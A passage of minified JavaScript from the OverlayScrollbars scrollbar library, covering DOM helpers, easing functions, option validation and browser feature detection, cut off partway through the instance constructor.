!function(n,t){"function"==typeof define&&define.amd?define(function(){return t(n,n.document,undefined)}):"object"==typeof module&&"object"==typeof module.exports?module.exports=t(n,n.document,undefined):t(n,n.document,undefined)}("undefined"!=typeof window?window:this,function(vi,hi,di){"use strict";var o,l,a,u,pi="object",bi="function",mi="array",gi="string",wi="boolean",yi="number",f="undefined",n="null",xi={c:"class",s:"style",i:"id",l:"length",p:"prototype",ti:"tabindex",oH:"offsetHeight",cH:"clientHeight",sH:"scrollHeight",oW:"offsetWidth",cW:"clientWidth",sW:"scrollWidth",hOP:"hasOwnProperty",bCR:"getBoundingClientRect"},_i=(o={},l={},{e:a=["-webkit-","-moz-","-o-","-ms-"],u:u=["WebKit","Moz","O","MS"],v:function(n){var t=l[n];if(l[xi.hOP](n))return t;for(var r,e,i,o=c(n),u=hi.createElement("div")[xi.s],f=0;f<a.length;f++)for(i=a[f].replace(/-/g,""),r=[n,a[f]+n,i+o,c(i)+o],e=0;e<r[xi.l];e++)if(u[r[e]]!==di){t=r[e];break}return l[n]=t},d:function(n,t,r){var e=n+" "+t,i=l[e];if(l[xi.hOP](e))return i;for(var o,u=hi.createElement("div")[xi.s],f=t.split(" "),a=r||"",c=0,s=-1;c<f[xi.l];c++)for(;s<_i.e[xi.l];s++)if(o=s<0?f[c]:_i.e[s]+f[c],u.cssText=n+":"+o+a,u[xi.l]){i=o;break}return l[e]=i},m:function(n,t,r){var e=0,i=o[n];if(!o[xi.hOP](n)){for(i=vi[n];e<u[xi.l];e++)i=i||vi[(t?u[e]:u[e].toLowerCase())+c(n)];o[n]=i}return i||r}});function c(n){return n.charAt(0).toUpperCase()+n.slice(1)}var Oi={wW:r(t,0,!0),wH:r(t,0),mO:r(_i.m,0,"MutationObserver",!0),rO:r(_i.m,0,"ResizeObserver",!0),rAF:r(_i.m,0,"requestAnimationFrame",!1,function(n){return vi.setTimeout(n,1e3/60)}),cAF:r(_i.m,0,"cancelAnimationFrame",!1,function(n){return vi.clearTimeout(n)}),now:function(){return Date.now&&Date.now()||(new Date).getTime()},stpP:function(n){n.stopPropagation?n.stopPropagation():n.cancelBubble=!0},prvD:function(n){n.preventDefault&&n.cancelable?n.preventDefault():n.returnValue=!1},page:function(n){var t=((n=n.originalEvent||n).target||n.srcElement||hi).ownerDocument||hi,r=t.documentElement,e=t.body;if(n.touches===di)return!n.pageX&&n.clientX&&null!=n.clientX?{x:n.clientX+(r&&r.scrollLeft||e&&e.scrollLeft||0)-(r&&r.clientLeft||e&&e.clientLeft||0),y:n.clientY+(r&&r.scrollTop||e&&e.scrollTop||0)-(r&&r.clientTop||e&&e.clientTop||0)}:{x:n.pageX,y:n.pageY};var i=n.touches[0];return{x:i.pageX,y:i.pageY}},mBtn:function(n){var t=n.button;return n.which||t===di?n.which:1&t?1:2&t?3:4&t?2:0},inA:function(n,t){for(var r=0;r<t[xi.l];r++)try{if(t[r]===n)return r}catch(e){}return-1},isA:function(n){var t=Array.isArray;return t?t(n):this.type(n)==mi},type:function(n){return n===di||null===n?n+"":Object[xi.p].toString.call(n).replace(/^\[object (.+)\]$/,"$1").toLowerCase()},bind:r};function t(n){return n?vi.innerWidth||hi.documentElement[xi.cW]||hi.body[xi.cW]:vi.innerHeight||hi.documentElement[xi.cH]||hi.body[xi.cH]}function r(n,t){if(typeof n!=bi)throw"Can't bind function!";var r=xi.p,e=Array[r].slice.call(arguments,2),i=function(){},o=function(){return n.apply(this instanceof i?this:t,e.concat(Array[r].slice.call(arguments)))};return n[r]&&(i[r]=n[r]),o[r]=new i,o}var s,v,h,k,I,T,d,p,Si=Math,zi=vi.jQuery,A=(s={p:Si.PI,c:Si.cos,s:Si.sin,w:Si.pow,t:Si.sqrt,n:Si.asin,a:Si.abs,o:1.70158},{swing:function(n,t,r,e,i){return.5-s.c(n*s.p)/2},linear:function(n,t,r,e,i){return n},easeInQuad:function(n,t,r,e,i){return e*(t/=i)*t+r},easeOutQuad:function(n,t,r,e,i){return-e*(t/=i)*(t-2)+r},easeInOutQuad:function(n,t,r,e,i){return(t/=i/2)<1?e/2*t*t+r:-e/2*(--t*(t-2)-1)+r},easeInCubic:function(n,t,r,e,i){return e*(t/=i)*t*t+r},easeOutCubic:function(n,t,r,e,i){return e*((t=t/i-1)*t*t+1)+r},easeInOutCubic:function(n,t,r,e,i){return(t/=i/2)<1?e/2*t*t*t+r:e/2*((t-=2)*t*t+2)+r},easeInQuart:function(n,t,r,e,i){return e*(t/=i)*t*t*t+r},easeOutQuart:function(n,t,r,e,i){return-e*((t=t/i-1)*t*t*t-1)+r},easeInOutQuart:function(n,t,r,e,i){return(t/=i/2)<1?e/2*t*t*t*t+r:-e/2*((t-=2)*t*t*t-2)+r},easeInQuint:function(n,t,r,e,i){return e*(t/=i)*t*t*t*t+r},easeOutQuint:function(n,t,r,e,i){return e*((t=t/i-1)*t*t*t*t+1)+r},easeInOutQuint:function(n,t,r,e,i){return(t/=i/2)<1?e/2*t*t*t*t*t+r:e/2*((t-=2)*t*t*t*t+2)+r},easeInSine:function(n,t,r,e,i){return-e*s.c(t/i*(s.p/2))+e+r},easeOutSine:function(n,t,r,e,i){return e*s.s(t/i*(s.p/2))+r},easeInOutSine:function(n,t,r,e,i){return-e/2*(s.c(s.p*t/i)-1)+r},easeInExpo:function(n,t,r,e,i){return 0==t?r:e*s.w(2,10*(t/i-1))+r},easeOutExpo:function(n,t,r,e,i){return t==i?r+e:e*(1-s.w(2,-10*t/i))+r},easeInOutExpo:function(n,t,r,e,i){return 0==t?r:t==i?r+e:(t/=i/2)<1?e/2*s.w(2,10*(t-1))+r:e/2*(2-s.w(2,-10*--t))+r},easeInCirc:function(n,t,r,e,i){return-e*(s.t(1-(t/=i)*t)-1)+r},easeOutCirc:function(n,t,r,e,i){return e*s.t(1-(t=t/i-1)*t)+r},easeInOutCirc:function(n,t,r,e,i){return(t/=i/2)<1?-e/2*(s.t(1-t*t)-1)+r:e/2*(s.t(1-(t-=2)*t)+1)+r},easeInElastic:function(n,t,r,e,i){var o=s.o,u=0,f=e;return 0==t?r:1==(t/=i)?r+e:(u=u||.3*i,o=f<s.a(e)?(f=e,u/4):u/(2*s.p)*s.n(e/f),-(f*s.w(2,10*--t)*s.s((t*i-o)*(2*s.p)/u))+r)},easeOutElastic:function(n,t,r,e,i){var o=s.o,u=0,f=e;return 0==t?r:1==(t/=i)?r+e:(u=u||.3*i,o=f<s.a(e)?(f=e,u/4):u/(2*s.p)*s.n(e/f),f*s.w(2,-10*t)*s.s((t*i-o)*(2*s.p)/u)+e+r)},easeInOutElastic:function(n,t,r,e,i){var o=s.o,u=0,f=e;return 0==t?r:2==(t/=i/2)?r+e:(u=u||i*(.3*1.5),o=f<s.a(e)?(f=e,u/4):u/(2*s.p)*s.n(e/f),t<1?f*s.w(2,10*--t)*s.s((t*i-o)*(2*s.p)/u)*-.5+r:f*s.w(2,-10*--t)*s.s((t*i-o)*(2*s.p)/u)*.5+e+r)},easeInBack:function(n,t,r,e,i,o){return e*(t/=i)*t*(((o=o||s.o)+1)*t-o)+r},easeOutBack:function(n,t,r,e,i,o){return e*((t=t/i-1)*t*(((o=o||s.o)+1)*t+o)+1)+r},easeInOutBack:function(n,t,r,e,i,o){return o=o||s.o,(t/=i/2)<1?e/2*(t*t*((1+(o*=1.525))*t-o))+r:e/2*((t-=2)*t*((1+(o*=1.525))*t+o)+2)+r},easeInBounce:function(n,t,r,e,i){return e-this.easeOutBounce(n,i-t,0,e,i)+r},easeOutBounce:function(n,t,r,e,i){var o=7.5625;return(t/=i)<1/2.75?e*(o*t*t)+r:t<2/2.75?e*(o*(t-=1.5/2.75)*t+.75)+r:t<2.5/2.75?e*(o*(t-=2.25/2.75)*t+.9375)+r:e*(o*(t-=2.625/2.75)*t+.984375)+r},easeInOutBounce:function(n,t,r,e,i){return t<i/2?.5*this.easeInBounce(n,2*t,0,e,i)+r:.5*this.easeOutBounce(n,2*t-i,0,e,i)+.5*e+r}}),Ci=(v=/[^\x20\t\r\n\f]+/g,h=" ",k="scrollLeft",I="scrollTop",T=[],d=Oi.type,p={animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},M[xi.p]={on:function(t,r){var e,i=(t=(t||"").match(v)||[""])[xi.l],o=0;return this.each(function(){e=this;try{if(e.addEventListener)for(;o<i;o++)e.addEventListener(t[o],r);else if(e.detachEvent)for(;o<i;o++)e.attachEvent("on"+t[o],r)}catch(n){}})},off:function(t,r){var e,i=(t=(t||"").match(v)||[""])[xi.l],o=0;return this.each(function(){e=this;try{if(e.removeEventListener)for(;o<i;o++)e.removeEventListener(t[o],r);else if(e.detachEvent)for(;o<i;o++)e.detachEvent("on"+t[o],r)}catch(n){}})},one:function(n,i){return n=(n||"").match(v)||[""],this.each(function(){var e=M(this);M.each(n,function(n,t){var r=function(n){i.call(this,n),e.off(t,r)};e.on(t,r)})})},trigger:function(n){var t,r;return this.each(function(){t=this,hi.createEvent?((r=hi.createEvent("HTMLEvents")).initEvent(n,!0,!1),t.dispatchEvent(r)):t.fireEvent("on"+n)})},append:function(n){return this.each(function(){i(this,"beforeend",n)})},prepend:function(n){return this.each(function(){i(this,"afterbegin",n)})},before:function(n){return this.each(function(){i(this,"beforebegin",n)})},after:function(n){return this.each(function(){i(this,"afterend",n)})},remove:function(){return this.each(function(){var n=this.parentNode;null!=n&&n.removeChild(this)})},unwrap:function(){var n,t,r,e=[];for(this.each(function(){-1===H(r=this.parentNode,e)&&e.push(r)}),n=0;n<e[xi.l];n++){for(t=e[n],r=t.parentNode;t.firstChild;)r.insertBefore(t.firstChild,t);r.removeChild(t)}return this},wrapAll:function(n){for(var t,r=this,e=M(n)[0],i=e,o=r[0].parentNode,u=r[0].previousSibling;0<i.childNodes[xi.l];)i=i.childNodes[0];for(t=0;r[xi.l]-t;i.firstChild===r[0]&&t++)i.appendChild(r[t]);var f=u?u.nextSibling:o.firstChild;return o.insertBefore(e,f),this},wrapInner:function(r){return this.each(function(){var n=M(this),t=n.contents();t[xi.l]?t.wrapAll(r):n.append(r)})},wrap:function(n){return this.each(function(){M(this).wrapAll(n)})},css:function(n,t){var r,e,i,o=vi.getComputedStyle;return d(n)==gi?t===di?(r=this[0],i=o?o(r,null):r.currentStyle[n],o?null!=i?i.getPropertyValue(n):r[xi.s][n]:i):this.each(function(){y(this,n,t)}):this.each(function(){for(e in n)y(this,e,n[e])})},hasClass:function(n){for(var t,r,e=0,i=h+n+h;t=this[e++];){if((r=t.classList)&&r.contains(n))return!0;if(1===t.nodeType&&-1<(h+g(t.className+"")+h).indexOf(i))return!0}return!1},addClass:function(n){var t,r,e,i,o,u,f,a,c=0,s=0;if(n)for(t=n.match(v)||[];r=this[c++];)if(a=r.classList,f===di&&(f=a!==di),f)for(;o=t[s++];)a.add(o);else if(i=r.className+"",e=1===r.nodeType&&h+g(i)+h){for(;o=t[s++];)e.indexOf(h+o+h)<0&&(e+=o+h);i!==(u=g(e))&&(r.className=u)}return this},removeClass:function(n){var t,r,e,i,o,u,f,a,c=0,s=0;if(n)for(t=n.match(v)||[];r=this[c++];)if(a=r.classList,f===di&&(f=a!==di),f)for(;o=t[s++];)a.remove(o);else if(i=r.className+"",e=1===r.nodeType&&h+g(i)+h){for(;o=t[s++];)for(;-1<e.indexOf(h+o+h);)e=e.replace(h+o+h,h);i!==(u=g(e))&&(r.className=u)}return this},hide:function(){return this.each(function(){this[xi.s].display="none"})},show:function(){return this.each(function(){this[xi.s].display="block"})},attr:function(n,t){for(var r,e=0;r=this[e++];){if(t===di)return r.getAttribute(n);r.setAttribute(n,t)}return this},removeAttr:function(n){return this.each(function(){this.removeAttribute(n)})},offset:function(){var n=this[0][xi.bCR](),t=vi.pageXOffset||hi.documentElement[k],r=vi.pageYOffset||hi.documentElement[I];return{top:n.top+r,left:n.left+t}},position:function(){var n=this[0];return{top:n.offsetTop,left:n.offsetLeft}},scrollLeft:function(n){for(var t,r=0;t=this[r++];){if(n===di)return t[k];t[k]=n}return this},scrollTop:function(n){for(var t,r=0;t=this[r++];){if(n===di)return t[I];t[I]=n}return this},val:function(n){var t=this[0];return n?(t.value=n,this):t.value},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(n){return M(this[0<=n?n:this[xi.l]+n])},find:function(t){var r,e=[];return this.each(function(){var n=this.querySelectorAll(t);for(r=0;r<n[xi.l];r++)e.push(n[r])}),M(e)},children:function(n){var t,r,e,i=[];return this.each(function(){for(r=this.children,e=0;e<r[xi.l];e++)t=r[e],(!n||t.matches&&t.matches(n)||w(t,n))&&i.push(t)}),M(i)},parent:function(n){var t,r=[];return this.each(function(){t=this.parentNode,n&&!M(t).is(n)||r.push(t)}),M(r)},is:function(n){var t,r;for(r=0;r<this[xi.l];r++){if(t=this[r],":visible"===n)return _(t);if(":hidden"===n)return!_(t);if(t.matches&&t.matches(n)||w(t,n))return!0}return!1},contents:function(){var n,t,r=[];return this.each(function(){for(n=this.childNodes,t=0;t<n[xi.l];t++)r.push(n[t])}),M(r)},each:function(n){return e(this,n)},animate:function(n,t,r,e){return this.each(function(){x(this,n,t,r,e)})},stop:function(n,t){return this.each(function(){!function f(n,t,r){for(var e,i,o,u=0;u<T[xi.l];u++)if((e=T[u]).el===n){if(0<e.q[xi.l]){if((i=e.q[0]).stop=!0,Oi.cAF()(i.frame),e.q.splice(0,1),r)for(o in i.props)W(n,o,i.props[o]);t?e.q=[]:N(e,!1)}break}}(this,n,t)})}},b(M,{extend:b,inArray:H,isEmptyObject:L,isPlainObject:R,each:e}),M);function b(){var n,t,r,e,i,o,u=arguments[0]||{},f=1,a=arguments[xi.l],c=!1;for(d(u)==wi&&(c=u,u=arguments[1]||{},f=2),d(u)!=pi&&!d(u)==bi&&(u={}),a===f&&(u=M,--f);f<a;f++)if(null!=(i=arguments[f]))for(e in i)n=u[e],u!==(r=i[e])&&(c&&r&&(R(r)||(t=Oi.isA(r)))?(o=t?(t=!1,n&&Oi.isA(n)?n:[]):n&&R(n)?n:{},u[e]=b(c,o,r)):r!==di&&(u[e]=r));return u}function H(n,t,r){for(var e=r||0;e<t[xi.l];e++)if(t[e]===n)return e;return-1}function E(n){return d(n)==bi}function L(n){for(var t in n)return!1;return!0}function R(n){if(!n||d(n)!=pi)return!1;var t,r=xi.p,e=Object[r].hasOwnProperty,i=e.call(n,"constructor"),o=n.constructor&&n.constructor[r]&&e.call(n.constructor[r],"isPrototypeOf");if(n.constructor&&!i&&!o)return!1;for(t in n);return d(t)==f||e.call(n,t)}function e(n,t){var r=0;if(m(n))for(;r<n[xi.l]&&!1!==t.call(n[r],r,n[r]);r++);else for(r in n)if(!1===t.call(n[r],r,n[r]))break;return n}function m(n){var t=!!n&&[xi.l]in n&&n[xi.l],r=d(n);return!E(r)&&(r==mi||0===t||d(t)==yi&&0<t&&t-1 in n)}function g(n){return(n.match(v)||[]).join(h)}function w(n,t){for(var r=(n.parentNode||hi).querySelectorAll(t)||[],e=r[xi.l];e--;)if(r[e]==n)return 1}function i(n,t,r){if(Oi.isA(r))for(var e=0;e<r[xi.l];e++)i(n,t,r[e]);else d(r)==gi?n.insertAdjacentHTML(t,r):n.insertAdjacentElement(t,r.nodeType?r:r[0])}function y(n,t,r){try{n[xi.s][t]!==di&&(n[xi.s][t]=function e(n,t){p[n.toLowerCase()]||d(t)!=yi||(t+="px");return t}(t,r))}catch(i){}}function N(n,t){var r,e;!1!==t&&n.q.splice(0,1),0<n.q[xi.l]?(e=n.q[0],x(n.el,e.props,e.duration,e.easing,e.complete,!0)):-1<(r=H(n,T))&&T.splice(r,1)}function W(n,t,r){t===k||t===I?n[t]=r:y(n,t,r)}function x(n,t,r,e,i,o){var u,f,a,c,s,l,v=R(r),h={},d={},p=0;for(l=v?(e=r.easing,r.start,a=r.progress,c=r.step,s=r.specialEasing,i=r.complete,r.duration):r,s=s||{},l=l||400,e=e||"swing",o=o||!1;p<T[xi.l];p++)if(T[p].el===n){f=T[p];break}for(u in f||(f={el:n,q:[]},T.push(f)),t)h[u]=u===k||u===I?n[u]:M(n).css(u);for(u in h)h[u]!==t[u]&&t[u]!==di&&(d[u]=t[u]);if(L(d))o&&N(f);else{var b,m,g,w,y,x,_,O,S,z=o?0:H(C,f.q),C={props:d,duration:v?r:l,easing:e,complete:i};if(-1===z&&(z=f.q[xi.l],f.q.push(C)),0===z)if(0<l)_=Oi.now(),O=function(){for(u in b=Oi.now(),S=b-_,m=C.stop||l<=S,g=1-(Si.max(0,_+l-b)/l||0),d)w=parseFloat(h[u]),y=parseFloat(d[u]),x=(y-w)*A[s[u]||e](g,g*l,0,1,l)+w,W(n,u,x),E(c)&&c(x,{elem:n,prop:u,start:w,now:x,end:y,pos:g,options:{easing:e,speacialEasing:s,duration:l,complete:i,step:c},startTime:_});E(a)&&a({},g,Si.max(0,l-S)),m?(N(f),E(i)&&i()):C.frame=Oi.rAF()(O)},C.frame=Oi.rAF()(O);else{for(u in d)W(n,u,d[u]);N(f)}}}function _(n){return!!(n[xi.oW]||n[xi.oH]||n.getClientRects()[xi.l])}function M(n){if(0===arguments[xi.l])return this;var t,r,e=new M,i=n,o=0;if(d(n)==gi)for(i=[],t="<"===n.charAt(0)?((r=hi.createElement("div")).innerHTML=n,r.children):hi.querySelectorAll(n);o<t[xi.l];o++)i.push(t[o]);if(i){for(d(i)==gi||m(i)&&i!==vi&&i!==i.self||(i=[i]),o=0;o<i[xi.l];o++)e[o]=i[o];e[xi.l]=i[xi.l]}return e}var O,S,ki,z,C,D,F,P,j,B,Q,U,V,$,Ii,Ti=(O=[],S="__overlayScrollbars__",function(n,t){var r=arguments[xi.l];if(r<1)return O;if(t)n[S]=t,O.push(n);else{var e=Oi.inA(n,O);if(-1<e){if(!(1<r))return O[e][S];delete n[S],O.splice(e,1)}}}),q=($=[],D=Oi.type,U={className:["os-theme-dark",[n,gi]],resize:["none","n:none b:both h:horizontal v:vertical"],sizeAutoCapable:P=[!0,wi],clipAlways:P,normalizeRTL:P,paddingAbsolute:j=[!(F=[wi,yi,gi,mi,pi,bi,n]),wi],autoUpdate:[null,[n,wi]],autoUpdateInterval:[33,yi],updateOnLoad:[["img"],[gi,mi,n]],nativeScrollbarsOverlaid:{showNativeScrollbars:j,initialize:P},overflowBehavior:{x:["scroll",Q="v-h:visible-hidden v-s:visible-scroll s:scroll h:hidden"],y:["scroll",Q]},scrollbars:{visibility:["auto","v:visible h:hidden a:auto"],autoHide:["never","n:never s:scroll l:leave m:move"],autoHideDelay:[800,yi],dragScrolling:P,clickScrolling:j,touchSupport:P,snapHandle:j},textarea:{dynWidth:j,dynHeight:j,inheritedAttrs:[["style","class"],[gi,mi,n]]},callbacks:{onInitialized:B=[null,[n,bi]],onInitializationWithdrawn:B,onDestroyed:B,onScrollStart:B,onScroll:B,onScrollStop:B,onOverflowChanged:B,onOverflowAmountChanged:B,onDirectionChanged:B,onContentSizeChanged:B,onHostSizeChanged:B,onUpdated:B}},Ii={g:(V=function(i){var o=function(n){var t,r,e;for(t in n)n[xi.hOP](t)&&(r=n[t],(e=D(r))==mi?n[t]=r[i?1:0]:e==pi&&(n[t]=o(r)));return n};return o(Ci.extend(!0,{},U))})(),_:V(!0),O:function(n,t,I,r){var e={},i={},o=Ci.extend(!0,{},n),T=Ci.inArray,A=Ci.isEmptyObject,H=function(n,t,r,e,i,o){for(var u in t)if(t[xi.hOP](u)&&n[xi.hOP](u)){var f,a,c,s,l,v,h,d,p=!1,b=!1,m=t[u],g=D(m),w=g==pi,y=Oi.isA(m)?m:[m],x=r[u],_=n[u],O=D(_),S=o?o+".":"",z='The option "'+S+u+"\" wasn't set, because",C=[],k=[];if(x=x===di?{}:x,w&&O==pi)e[u]={},i[u]={},H(_,m,x,e[u],i[u],S+u),Ci.each([n,e,i],function(n,t){A(t[u])&&delete t[u]});else if(!w){for(v=0;v<y[xi.l];v++)if(l=y[v],c=(g=D(l))==gi&&-1===T(l,F))for(C.push(gi),f=l.split(" "),k=k.concat(f),h=0;h<f[xi.l];h++){for(s=(a=f[h].split(":"))[0],d=0;d<a[xi.l];d++)if(_===a[d]){p=!0;break}if(p)break}else if(C.push(l),O===l){p=!0;break}p?((b=_!==x)&&(e[u]=_),(c?T(x,a)<0:b)&&(i[u]=c?s:_)):I&&console.warn(z+" it doesn't accept the type [ "+O.toUpperCase()+' ] with the value of "'+_+'".\r\nAccepted types are: [ '+C.join(", ").toUpperCase()+" ]."+(0<k[length]?"\r\nValid strings are: [ "+k.join(", ").split(":").join(", ")+" ].":"")),delete n[u]}}};return H(o,t,r||{},e,i),!A(o)&&I&&console.warn("The following options are discarded due to invalidity:\r\n"+vi.JSON.stringify(o,null,2)),{S:e,z:i}}},(ki=vi.OverlayScrollbars=function(n,r,e){if(0===arguments[xi.l])return this;var i,t,o=[],u=Ci.isPlainObject(r);return n?(n=n[xi.l]!=di?n:[n[0]||n],X(),0<n[xi.l]&&(u?Ci.each(n,function(n,t){(i=t)!==di&&o.push(K(i,r,e,z,C))}):Ci.each(n,function(n,t){i=Ti(t),("!"===r&&ki.valid(i)||Oi.type(r)==bi&&r(t,i)||r===di)&&o.push(i)}),t=1===o[xi.l]?o[0]:o),t):u||!r?t:o}).globals=function(){X();var n=Ci.extend(!0,{},z);return delete n.msie,n},ki.defaultOptions=function(n){X();var t=z.defaultOptions;if(n===di)return Ci.extend(!0,{},t);z.defaultOptions=Ci.extend(!0,{},t,Ii.O(n,Ii._,!0,t).S)},ki.valid=function(n){return n instanceof ki&&!n.getState().destroyed},ki.extension=function(n,t,r){var e=Oi.type(n)==gi,i=arguments[xi.l],o=0;if(i<1||!e)return Ci.extend(!0,{length:$[xi.l]},$);if(e)if(Oi.type(t)==bi)$.push({name:n,extensionFactory:t,defaultOptions:r});else for(;o<$[xi.l];o++)if($[o].name===n){if(!(1<i))return Ci.extend(!0,{},$[o]);$.splice(o,1)}},ki);function X(){z=z||new Y(Ii.g),C=C||new G(z)}function Y(n){var _=this,i="overflow",O=Ci("body"),S=Ci('<div id="os-dummy-scrollbar-size"><div></div></div>'),o=S[0],e=Ci(S.children("div").eq(0));O.append(S),S.hide().show();var t,r,u,f,a,c,s,l,v,h=z(o),d={x:0===h.x,y:0===h.y},p=(r=vi.navigator.userAgent,f="substring",a=r[u="indexOf"]("MSIE "),c=r[u]("Trident/"),s=r[u]("Edge/"),l=r[u]("rv:"),v=parseInt,0<a?t=v(r[f](a+5,r[u](".",a)),10):0<c?t=v(r[f](l+3,r[u](".",l)),10):0<s&&(t=v(r[f](s+5,r[u](".",s)),10)),t);function z(n){return{x:n[xi.oH]-n[xi.cH],y:n[xi.oW]-n[xi.cW]}}Ci.extend(_,{defaultOptions:n,msie:p,autoUpdateLoop:!1,autoUpdateRecommended:!Oi.mO(),nativeScrollbarSize:h,nativeScrollbarIsOverlaid:d,nativeScrollbarStyling:function(){var n=!1;S.addClass("os-viewport-native-scrollbars-invisible");try{n="none"===S.css("scrollbar-width")&&(9<p||!p)||"none"===vi.getComputedStyle(o,"::-webkit-scrollbar").getPropertyValue("display")}catch(t){}return n}(),overlayScrollbarDummySize:{x:30,y:30},cssCalc:_i.d("width","calc","(1px)")||null,restrictedMeasuring:function(){S.css(i,"hidden");var n=o[xi.sW],t=o[xi.sH];S.css(i,"visible");var r=o[xi.sW],e=o[xi.sH];return n-r!=0||t-e!=0}(),rtlScrollBehavior:function(){S.css({"overflow-y":"hidden","overflow-x":"scroll",direction:"rtl"}).scrollLeft(0);var n=S.offset(),t=e.offset();S.scrollLeft(-999);var r=e.offset();return{i:n.left===t.left,n:t.left!==r.left}}(),supportTransform:!!_i.v("transform"),supportTransition:!!_i.v("transition"),supportPassiveEvents:function(){var n=!1;try{vi.addEventListener("test",null,Object.defineProperty({},"passive",{get:function(){n=!0}}))}catch(t){}return n}(),supportResizeObserver:!!Oi.rO(),supportMutationObserver:!!Oi.mO()}),S.removeAttr(xi.s).remove(),function(){if(!d.x||!d.y){var m=Si.abs,g=Oi.wW(),w=Oi.wH(),y=x();Ci(vi).on("resize",function(){if(0<Ti().length){var n=Oi.wW(),t=Oi.wH(),r=n-g,e=t-w;if(0==r&&0==e)return;var i,o=Si.round(n/(g/100)),u=Si.round(t/(w/100)),f=m(r),a=m(e),c=m(o),s=m(u),l=x(),v=2<f&&2<a,h=!function b(n,t){var r=m(n),e=m(t);return r!==e&&r+1!==e&&r-1!==e}(c,s),d=v&&h&&(l!==y&&0<y),p=_.nativeScrollbarSize;d&&(O.append(S),i=_.nativeScrollbarSize=z(S[0]),S.remove(),p.x===i.x&&p.y===i.y||Ci.each(Ti(),function(){Ti(this)&&Ti(this).update("zoom")})),g=n,w=t,y=l}})}function x(){var n=vi.screen.deviceXDPI||0,t=vi.screen.logicalXDPI||1;return vi.devicePixelRatio||n/t}}()}function G(r){var c,e=Ci.inArray,s=Oi.now,l="autoUpdate",v=xi.l,h=[],d=[],p=!1,b=33,m=s(),g=function(){if(0<h[v]&&p){c=Oi.rAF()(function(){g()});var n,t,r,e,i,o,u=s(),f=u-m;if(b<f){m=u-f%b,n=33;for(var a=0;a<h[v];a++)(t=h[a])!==di&&(e=(r=t.options())[l],i=Si.max(1,r.autoUpdateInterval),o=s(),(!0===e||null===e)&&o-d[a]>i&&(t.update("auto"),d[a]=new Date(o+=i)),n=Si.max(1,Si.min(n,i)));b=n}}else b=33};this.add=function(n){-1===e(n,h)&&(h.push(n),d.push(s()),0<h[v]&&!p&&(p=!0,r.autoUpdateLoop=p,g()))},this.remove=function(n){var t=e(n,h);-1<t&&(d.splice(t,1),h.splice(t,1),0===h[v]&&p&&(p=!1,r.autoUpdateLoop=p,c!==di&&(Oi.cAF()(c),c=-1)))}}function K(r,n,t,xt,_t){var cn=Oi.type,sn=Ci.inArray,h=Ci.each,Ot=new ki,e=Ci[xi.p];if(ht(r)){if(Ti(r)){var i=Ti(r);return i.options(n),i}var St,zt,Ct,kt,D,It,Tt,At,F,ln,w,T,d,Ht,Et,Lt,Rt,y,p,Nt,Wt,Mt,Dt,Ft,Pt,jt,Bt,Qt,Ut,o,u,Vt,$t,qt,f,P,c,j,Xt,Yt,Gt,Kt,Jt,Zt,nr,tr,rr,er,ir,a,s,l,v,b,m,x,A,or,ur,fr,H,ar,cr,sr,lr,vr,hr,dr,pr,br,mr,gr,wr,yr,xr,_r,E,Or,Sr,zr,Cr,kr,Ir,Tr,Ar,g,_,Hr,Er,Lr,Rr,Nr,Wr,Mr,Dr,Fr,Pr,jr,Br,Qr,Ur,O,S,z,C,Vr,$r,k,I,qr,Xr,Yr,Gr,Kr,B,Q,Jr,Zr,ne,te,re={},vn={},hn={},ee={},ie={},L="-hidden",oe="margin-",ue="padding-",fe="border-",ae="top",ce="right",se="bottom",le="left",ve="min-",he="max-",de="width",pe="height",be="float",me="",ge="auto",dn="sync",we="scroll",ye="100%",pn="x",bn="y",R=".",xe=" ",N="scrollbar",W="-horizontal",M="-vertical",_e=we+"Left",Oe=we+"Top",U="mousedown touchstart",V="mouseup touchend touchcancel",$="mousemove touchmove",q="mouseenter",X="mouseleave",Y="keydown",G="keyup",K="selectstart",J="transitionend webkitTransitionEnd oTransitionEnd",Z="__overlayScrollbarsRO__",nn="os-",tn="os-html",rn="os-host",en=rn+"-foreign",on=rn+"-textarea",un=rn+"-"+N+W+L,fn=rn+"-"+N+M+L,an=rn+"-transition",Se=rn+"-rtl",ze=rn+"-resize-disabled",Ce=rn+"-scrolling",ke=rn+"-overflow",Ie=(ke=rn+"-overflow")+"-x",Te=ke+"-y",mn="os-textarea",gn=mn+"-cover",wn="os-padding",yn="os-viewport",Ae=yn+"-native-scrollbars-invisible",xn=yn+"-native-scrollbars-overlaid",_n="os-content",He="os-content-arrange",Ee="os-content-glue",Le="os-size-auto-observer",On="os-resize-observer",Sn="os-resize-observer-item",zn=Sn+"-final",Cn="os-text-inherit",kn=nn+N,In=kn+"-track",Tn=In+"-off",An=kn+"-handle",Hn=An+"-off",En=kn+"-unusable",Ln=kn+"-"+ge+L,Rn=kn+"-corner",Re=Rn+"-resize",Ne=Re+"-both",We=Re+W,Me=Re+M,Nn=kn+W,Wn=kn+M,Mn="os-dragging",De="os-theme-none",Dn=[Ae,xn,Tn,Hn,En,Ln,Re,Ne,We,Me,Mn].join(xe),Fn=[],Pn=[xi.ti],jn={},Fe={},Pe=42,Bn="load",Qn=[],Un={},Vn=["wrap","cols","rows"],$n=[xi.i,xi.c,xi.s,"open"].concat(Pn),qn=[];return Ot.sleep=function(){Ut=!0},Ot.update=function(n){var t,r,e,i,o;if(!Et)return cn(n)==gi?n===ge?(t=function u(){if(!Ut&&!Vr){var r,e,i,o=[],n=[{C:Yt,k:$n.concat(":visible")},{C:Lt?Xt:di,k:Vn}];return h(n,function(n,t){(r=t.C)&&h(t.k,function(n,t){e=":"===t.charAt(0)?r.is(t):r.attr(t),i=Un[t],fi(e,i)&&o.push(t),Un[t]=e})}),it(o),0<o[xi.l]}}(),r=function a(){if(Ut)return!1;var n,t,r,e,i=oi(),o=Lt&&br&&!Fr?Xt.val().length:0,u=!Vr&&br&&!Lt,f={};return 